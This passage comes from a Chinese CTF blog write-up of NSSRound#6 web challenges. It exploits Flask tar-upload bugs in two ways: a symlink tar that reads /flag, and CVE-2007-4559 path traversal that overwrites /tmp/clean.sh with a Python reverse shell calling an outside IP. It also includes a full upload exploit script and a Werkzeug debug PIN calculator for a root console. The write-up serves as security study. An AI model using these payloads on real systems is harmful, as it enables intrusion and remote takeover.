function_">allowed_file</span>(<span class="params">filename</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;.&#x27;</span> <span class="keyword">in</span> filename <span class="keyword">and</span> \</span><br><span class="line">           filename.rsplit(<span class="string">&#x27;.&#x27;</span>, <span class="number">1</span>)[<span class="number">1</span>].lower() <span class="keyword">in</span> ALLOWED_EXTENSIONS</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/&#x27;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">index</span>():</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(__file__, <span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        <span class="keyword">return</span> f.read()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/upload&#x27;</span>, methods=[<span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">upload_file</span>():</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;file&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> request.files:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;?&#x27;</span></span><br><span class="line">    file = request.files[<span class="string">&#x27;file&#x27;</span>]</span><br><span class="line">    <span class="keyword">if</span> file.filename == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;?&#x27;</span></span><br><span class="line">    <span class="built_in">print</span>(file.filename)</span><br><span class="line">    <span class="keyword">if</span> file <span class="keyword">and</span> allowed_file(file.filename) <span class="keyword">and</span> <span class="string">&#x27;..&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> file.filename <span class="keyword">and</span> <span class="string">&#x27;/&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> file.filename:</span><br><span class="line">        file_save_path = os.path.join(app.config[<span class="string">&#x27;UPLOAD_FOLDER&#x27;</span>], file.filename)</span><br><span class="line">        <span class="keyword">if</span> (os.path.exists(file_save_path)):</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&#x27;This file already exists&#x27;</span></span><br><span class="line">        file.save(file_save_path)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;This file is not a tarfile&#x27;</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        tar = tarfile.<span class="built_in">open</span>(file_save_path, <span class="string">&quot;r&quot;</span>)</span><br><span class="line">        tar.extractall(app.config[<span class="string">&#x27;UPLOAD_FOLDER&#x27;</span>])</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">str</span>(e)</span><br><span class="line">    os.remove(file_save_path)</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;success&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/download&#x27;</span>, methods=[<span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">download_file</span>():</span><br><span class="line">    filename = request.form.get(<span class="string">&#x27;filename&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> filename <span class="keyword">is</span> <span class="literal">None</span> <span class="keyword">or</span> filename == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;?&#x27;</span></span><br><span class="line"></span><br><span class="line">    filepath = os.path.join(app.config[<span class="string">&#x27;UPLOAD_FOLDER&#x27;</span>], filename)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;..&#x27;</span> <span class="keyword">in</span> filename <span class="keyword">or</span> <span class="string">&#x27;/&#x27;</span> <span class="keyword">in</span> filename:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;?&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(filepath) <span class="keyword">or</span> <span class="keyword">not</span> os.path.isfile(filepath):</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;?&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(filepath, <span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        <span class="keyword">return</span> f.read()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/clean&#x27;</span>, methods=[<span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">clean_file</span>():</span><br><span class="line">    os.system(<span class="string">&#x27;/tmp/clean.sh&#x27;</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;success&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    app.run(host=<span class="string">&#x27;0.0.0.0&#x27;</span>, debug=<span class="literal">True</span>, port=<span class="number">80</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>经过代码审计，网页存在上传文件和下载文件两个功能。</p><p>上传文件功能对文件名做了要求:必须是tar后缀文件，不能有<code>..</code>,<code> /</code>存在在文件名中，防止目录穿越。上传tar文件后，会使用python的extractall函数对tar进行解压</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">tar = tarfile.<span class="built_in">open</span>(file_save_path, <span class="string">&quot;r&quot;</span>)</span><br><span class="line"> tar.extractall(app.config[<span class="string">&#x27;UPLOAD_FOLDER&#x27;</span>])</span><br></pre></td></tr></table></figure><p>下载文件功能可以传入一个文件名，然后服务端会读取文件。</p><p>这里使用的攻击方式就是利用软链接进行任意文件读取。</p><p>Python 的 <code>tarfile.extractall()</code> 在解压 <code>.tar</code> 压缩包时，默认行为非常“诚实”：如果压缩包里包含一个软链接文件，它就会在服务器的目标目录（<code>uploads/</code>）下原封不动地创建一个一模一样的软链接。</p><figure class="highlight shell"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta prompt_">#</span><span class="language-bash">创建软链接</span></span><br><span class="line">ln -s /flag exp</span><br><span class="line"><span class="meta prompt_">#</span><span class="language-bash">打包成tar压缩包</span></span><br><span class="line">tar -cf hack.tar exp</span><br></pre></td></tr></table></figure><p>上传tar包后，</p><p>在服务器的 <code>./uploads/</code> 目录下，生成了一个名叫 <code>exp</code> 的软链接，它在服务器本地指向了服务器的 <code>/flag</code></p><p>最后在<code>/download</code>接口提交参数<code>filename=exp</code>读取到<code>/flag</code>内容。</p><h2 id="NSSRound-6-Team-check-Revenge"><a href="#NSSRound-6-Team-check-Revenge" class="headerlink" title="[NSSRound#6 Team]check(Revenge)"></a>[NSSRound#6 Team]check(Revenge)</h2><p>源码</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> flask <span class="keyword">import</span> Flask, request</span><br><span class="line"><span class="keyword">import</span> werkzeug.debug</span><br><span class="line"><span class="keyword">import</span> tarfile</span><br><span class="line"><span class="keyword">import</span> os</span><br><span class="line"></span><br><span class="line">app = Flask(__name__)</span><br><span class="line">app.config[<span class="string">&#x27;UPLOAD_FOLDER&#x27;</span>] = <span class="string">&#x27;./uploads&#x27;</span></span><br><span class="line">app.config[<span class="string">&#x27;MAX_CONTENT_LENGTH&#x27;</span>] = <span class="number">100</span> * <span class="number">1024</span></span><br><span class="line">ALLOWED_EXTENSIONS = <span class="built_in">set</span>([<span class="string">&#x27;tar&#x27;</span>])</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">allowed_file</span>(<span class="params">filename</span>):</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;.&#x27;</span> <span class="keyword">in</span> filename <span class="keyword">and</span> \</span><br><span class="line">           filename.rsplit(<span class="string">&#x27;.&#x27;</span>, <span class="number">1</span>)[<span class="number">1</span>].lower() <span class="keyword">in</span> ALLOWED_EXTENSIONS</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/&#x27;</span></span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">index</span>():</span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(__file__, <span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        <span class="keyword">return</span> f.read()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/upload&#x27;</span>, methods=[<span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">upload_file</span>():</span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;file&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> request.files:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;?&#x27;</span></span><br><span class="line">    file = request.files[<span class="string">&#x27;file&#x27;</span>]</span><br><span class="line">    <span class="keyword">if</span> file.filename == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;?&#x27;</span></span><br><span class="line">    <span class="keyword">if</span> file <span class="keyword">and</span> allowed_file(file.filename) <span class="keyword">and</span> <span class="string">&#x27;..&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> file.filename <span class="keyword">and</span> <span class="string">&#x27;/&#x27;</span> <span class="keyword">not</span> <span class="keyword">in</span> file.filename:</span><br><span class="line">        file_save_path = os.path.join(app.config[<span class="string">&#x27;UPLOAD_FOLDER&#x27;</span>], file.filename)</span><br><span class="line">        <span class="keyword">if</span> os.path.exists(file_save_path):</span><br><span class="line">            <span class="keyword">return</span> <span class="string">&#x27;This file already exists&#x27;</span></span><br><span class="line">        file.save(file_save_path)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;This file is not a tarfile&#x27;</span></span><br><span class="line">    <span class="keyword">try</span>:</span><br><span class="line">        tar = tarfile.<span class="built_in">open</span>(file_save_path, <span class="string">&quot;r&quot;</span>)</span><br><span class="line">        tar.extractall(app.config[<span class="string">&#x27;UPLOAD_FOLDER&#x27;</span>])</span><br><span class="line">    <span class="keyword">except</span> Exception <span class="keyword">as</span> e:</span><br><span class="line">        <span class="keyword">return</span> <span class="built_in">str</span>(e)</span><br><span class="line">    os.remove(file_save_path)</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;success&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/download&#x27;</span>, methods=[<span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">download_file</span>():</span><br><span class="line">    filename = request.form.get(<span class="string">&#x27;filename&#x27;</span>)</span><br><span class="line">    <span class="keyword">if</span> filename <span class="keyword">is</span> <span class="literal">None</span> <span class="keyword">or</span> filename == <span class="string">&#x27;&#x27;</span>:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;?&#x27;</span></span><br><span class="line"></span><br><span class="line">    filepath = os.path.join(app.config[<span class="string">&#x27;UPLOAD_FOLDER&#x27;</span>], filename)</span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="string">&#x27;..&#x27;</span> <span class="keyword">in</span> filename <span class="keyword">or</span> <span class="string">&#x27;/&#x27;</span> <span class="keyword">in</span> filename:</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;?&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> os.path.exists(filepath) <span class="keyword">or</span> <span class="keyword">not</span> os.path.isfile(filepath):</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;?&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> os.path.islink(filepath):</span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;?&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">oct</span>(os.stat(filepath).st_mode)[-<span class="number">3</span>:] != <span class="string">&#x27;444&#x27;</span>: <span class="comment">#文件权限位</span></span><br><span class="line">        <span class="keyword">return</span> <span class="string">&#x27;?&#x27;</span></span><br><span class="line"></span><br><span class="line">    <span class="keyword">with</span> <span class="built_in">open</span>(filepath, <span class="string">&#x27;r&#x27;</span>) <span class="keyword">as</span> f:</span><br><span class="line">        <span class="keyword">return</span> f.read()</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="meta">@app.route(<span class="params"><span class="string">&#x27;/clean&#x27;</span>, methods=[<span class="string">&#x27;POST&#x27;</span>]</span>)</span></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">clean_file</span>():</span><br><span class="line">    os.system(<span class="string">&#x27;su ctf -c /tmp/clean.sh&#x27;</span>)</span><br><span class="line">    <span class="keyword">return</span> <span class="string">&#x27;success&#x27;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="comment"># print(os.environ)</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&#x27;__main__&#x27;</span>:</span><br><span class="line">    app.run(host=<span class="string">&#x27;0.0.0.0&#x27;</span>, debug=<span class="literal">True</span>, port=<span class="number">80</span>)</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>代码通过增加了os.path.islink(filepath)判断下载的文件是否存在软连接,所以不能再用软链接读取任意文件。</p><p>这里使用CVE-2007-4559漏洞，可以通过tar.extractall()函数的漏洞，<strong>解压文件时候，覆盖掉目录中的文件</strong></p><p>源代码里留了一个<code>/clean</code>路由，每次访问会以ctf身份调clean.sh 直接把反弹shell写进去</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">#!/usr/bin/env python3</span><br><span class="line">import socket, subprocess, os</span><br><span class="line">s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)</span><br><span class="line">s.connect((&quot;8.148.87.56&quot;, 12792))</span><br><span class="line">os.dup2(s.fileno(), 0)</span><br><span class="line">os.dup2(s.fileno(), 1)</span><br><span class="line">os.dup2(s.fileno(), 2)</span><br><span class="line">subprocess.call([&quot;/bin/sh&quot;, &quot;-i&quot;])</span><br></pre></td></tr></table></figure><p>exp：</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> requests <span class="keyword">as</span> req</span><br><span class="line"><span class="keyword">import</span> tarfile</span><br><span class="line"><span class="keyword">from</span> pathlib <span class="keyword">import</span> Path</span><br><span class="line"></span><br><span class="line">BASE_DIR = Path(__file__).resolve().parent</span><br><span class="line">EXP_SH = BASE_DIR / <span class="string">&quot;exp.sh&quot;</span></span><br><span class="line">EXP_TAR = BASE_DIR / <span class="string">&quot;exp.tar&quot;</span></span><br><span class="line">TARGET = <span class="string">&quot;http://node7.anna.nssctf.cn:22847&quot;</span></span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">changeFileName</span>(<span class="params">tarinfo</span>):</span><br><span class="line">    tarinfo.name = <span class="string">&quot;../../../../tmp/clean.sh&quot;</span></span><br><span class="line">    tarinfo.mode = <span class="number">0o755</span></span><br><span class="line">    <span class="keyword">return</span> tarinfo</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">build_tar</span>():</span><br><span class="line">    <span class="keyword">with</span> tarfile.<span class="built_in">open</span>(EXP_TAR, <span class="string">&quot;w&quot;</span>) <span class="keyword">as</span> tar:</span><br><span class="line">        tar.add(EXP_SH, <span class="built_in">filter</span>=changeFileName)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">upload</span>():</span><br><span class="line">    url = <span class="string">f&quot;<span class="subst">&#123;TARGET&#125;</span>/upload&quot;</span></span><br><span class="line">    <span class="keyword">with</span> EXP_TAR.<span class="built_in">open</span>(<span class="string">&quot;rb&quot;</span>) <span class="keyword">as</span> file:</span><br><span class="line">        response = req.post(url=url, files=&#123;<span class="string">&quot;file&quot;</span>: (<span class="string">&quot;exp.tar&quot;</span>, file)&#125;)</span><br><span class="line">    <span class="built_in">print</span>(response.text)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">clean</span>():</span><br><span class="line">    url = <span class="string">f&quot;<span class="subst">&#123;TARGET&#125;</span>/clean&quot;</span></span><br><span class="line">    response = req.post(url)</span><br><span class="line">    <span class="built_in">print</span>(response.text)</span><br><span class="line"></span><br><span class="line"></span><br><span class="line"><span class="keyword">if</span> __name__ == <span class="string">&quot;__main__&quot;</span>:</span><br><span class="line">    build_tar()</span><br><span class="line">    upload()</span><br><span class="line">    clean()</span><br><span class="line"></span><br></pre></td></tr></table></figure><p>flag应该在you_could_never_guess_the_flag_path中</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20260524231436934.png" alt="image-20260524231436934"></p><p>但是只有root用户能够读取，这里就涉及到提权。发现main.py是root权限运行，可以计算PIN码进入console控制台获取到flag。</p><p>简单了解一下flask应用的控制台，</p><p>flask在开启debug模式下，可以通过输入pin码进行代码调试模式，也就是console控制台。进入控制台之后再进行命令执行。</p><p>这个东西怎么算呢？需要获得几个东西</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br></pre></td><td class="code"><pre><span class="line">1. username，用户名</span><br><span class="line"> 查看 /etc/passwd 或通过报错信息推断</span><br><span class="line">2. modname</span><br><span class="line"> 默认值为flask.app</span><br><span class="line">3. appname</span><br><span class="line"> 默认值为Flask</span><br><span class="line">4. moddir，flask库下app.py的绝对路径</span><br><span class="line"> </span><br><span class="line">5. uuidnode，当前网络的mac地址的十进制数</span><br><span class="line"></span><br><span class="line">6. machine_id，docker机器id</span><br></pre></td></tr></table></figure><p>很多都是默认的，重点需要关注三个东西</p><figure class="highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br></pre></td><td class="code"><pre><span class="line">moddir：flask所在的路径，通过查看debug报错信息获得</span><br><span class="line"></span><br><span class="line">uuidnode:通过uuid.getnode()读取。</span><br><span class="line">通过文件/sys/class/net/eth0/address得到16进制结果，转化为10进制进行计算</span><br><span class="line"></span><br><span class="line">machine_id：linux的id一般存放在/etc/machine-id或/proc/sys/kernel/random/boot_id。</span><br><span class="line">docker靶机则读取/proc/self/cgroup</span><br><span class="line">最后获取/etc/machine-id+/proc/self/cgroup或/proc/sys/kernel/random/boot_id+/proc/self/cgroup 前者等级更高</span><br></pre></td></tr></table></figure><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="built_in">cat</span> /sys/class/net/eth0/address</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> /etc/machine-id</span><br><span class="line"></span><br><span class="line"><span class="built_in">cat</span> /proc/self/cgroup</span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20260524232428781.png" alt="image-20260524232428781"></p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20260524232640724.png" alt="image-20260524232640724"></p><p>计算PIN码的exp</p><figure class="highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">import</span> hashlib</span><br><span class="line"><span class="keyword">from</span> itertools <span class="keyword">import</span> chain</span><br><span class="line">probably_public_bits = [</span><br><span class="line">    <span class="string">&#x27;root&#x27;</span>  </span><br><span class="line">    <span class="string">&#x27;flask.app&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;Flask&#x27;</span>,</span><br><span class="line">    <span class="string">&#x27;/usr/local/lib/python3.10/site-packages/flask/app.py&#x27;</span></span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">private_bits = [</span><br><span class="line">    <span class="string">&#x27;2485377826820&#x27;</span>,  </span><br><span class="line">    <span class="string">&#x27;96cec10d3d9307792745ec3b85c896200b8e9d6b9de11a0a76e0ae7075b7d5a5f6f91638e3e006c273bf6a8e315726ad</span></span><br><span class="line"><span class="string">&#x27;</span></span><br><span class="line">]</span><br><span class="line"></span><br><span class="line">h = hashlib.sha1()</span><br><span class="line"><span class="keyword">for</span> bit <span class="keyword">in</span> chain(probably_public_bits, private_bits):</span><br><span class="line">    <span class="keyword">if</span> <span class="keyword">not</span> bit:</span><br><span class="line">        <span class="keyword">continue</span></span><br><span class="line">    <span class="keyword">if</span> <span class="built_in">isinstance</span>(bit, <span class="built_in">str</span>):</span><br><span class="line">        bit = bit.encode(<span class="string">&#x27;utf-8&#x27;</span>)</span><br><span class="line">    h.update(bit)</span><br><span class="line">h.update(<span class="string">b&#x27;cookiesalt&#x27;</span>)</span><br><span class="line"></span><br><span class="line">cookie_name = <span class="string">&#x27;__wzd&#x27;</span> + h.hexdigest()[:<span class="number">20</span>]</span><br><span class="line"></span><br><span class="line">num = <span class="literal">None</span></span><br><span class="line"><span class="keyword">if</span> num <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">    h.update(<span class="string">b&#x27;pinsalt&#x27;</span>)</span><br><span class="line">    num = (<span class="string">&#x27;%09d&#x27;</span> % <span class="built_in">int</span>(h.hexdigest(), <span class="number">16</span>))[:<span class="number">9</span>]</span><br><span class="line"></span><br><span class="line">rv = <span class="literal">None</span></span><br><span class="line"><span class="keyword">if</span> rv <span class="keyword">is</span> <span class="literal">None</span>:</span><br><span class="line">    <span class="keyword">for</span> group_size <span class="keyword">in</span> <span class="number">5</span>, <span class="number">4</span>, <span class="number">3</span>:</span><br><span class="line">        <span class="keyword">if</span> <span class="built_in">len</span>(num) % group_size == <span class="number">0</span>:</span><br><span class="line">            rv = <span class="string">&#x27;-&#x27;</span>.join(num[x:x + group_size].rjust(group_size, <span class="string">&#x27;0&#x27;</span>)</span><br><span class="line">                          <span class="keyword">for</span> x <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">0</span>, <span class="built_in">len</span>(num), group_size))</span><br><span class="line">            <span class="keyword">break</span></span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        rv = num</span><br><span class="line"></span><br><span class="line"><span class="built_in">print</span>(rv)</span><br><span class="line"></span><br><span class="line"></span><br></pre></td></tr></table></figure><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20260524233025762.png" alt="image-20260524233025762"></p><p>计算出来PIN码最后在控制台用os模块读flag。</p><p><img src="https://raw.githubusercontent.com/everythingis-ok/image/main/image-20260524233325036.png" alt="image-20260524233325036"></p><p>倒腾了半天反弹shell，先是看了半天内网渗透怎么搞，然后图方便在本机开 cpolar隧道，在虚拟机监听，但是我的虚拟机跟主机不知道什么原因ping不通，又改在虚拟机开隧道，然后发现shell没写执行权限反弹不上，最后好不容易连上了，ls &#x2F;完，题目环境到了。很艰辛的说。</p><h2 id="refferences"><a href="#refferences" class="headerlink" title="refferences"></a>refferences</h2><p>[<a href="https://blog.csdn.net/weixin_53090346/article/details/128702883?spm=1001.2014.3001.5502">NSSRound#6 Team]Web学习_[nssround#6 team]check(revenge)-CSDN博客</a></p><p><a href="https://blog.csdn.net/qq_68357559/article/details/137211302">flask–通过算pin码进入控制台_flask console-CSDN博客</a></p>]]>
    </content>
    <id>https://everythingis-ok.github.io/2026/05/24/%C2%96-NSSRound-6-Team-%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/</id>
    <link href="https://everythingis-ok.github.io/2026/05/24/%C2%96-NSSRound-6-Team-%E9%A2%98%E7%9B%AE%E5%A4%8D%E7%8E%B0/"/>
    <published>2026-05-24T15:48:38.000Z</published>
    <summary>
      <![CDATA[<h1 id="NSSRound-6-Team-题目复现"><a href="#NSSRound-6-Team-题目复现" class="headerlink" title="[NSSRound#6 Team] 题目复现"></a>[NSSRound#6 Team] 题目复现</]]>
    </summary>
    <title>[NSSRound#6 Team] 题目复现</title>
    <updated>2026-05-25T12:58:20.802Z</updated>
  </entry>
  <entry>
    <author>
      <name>seora</name>
    </author>
    <category term="NSSCTF" scheme="https://everythingis-ok.github.io/tags/NSSCTF/"/>
    <category term="隐写" scheme="https://everythingis-ok.github.io/tags/%E9%9A%90%E5%86%99/"/>
    <content>
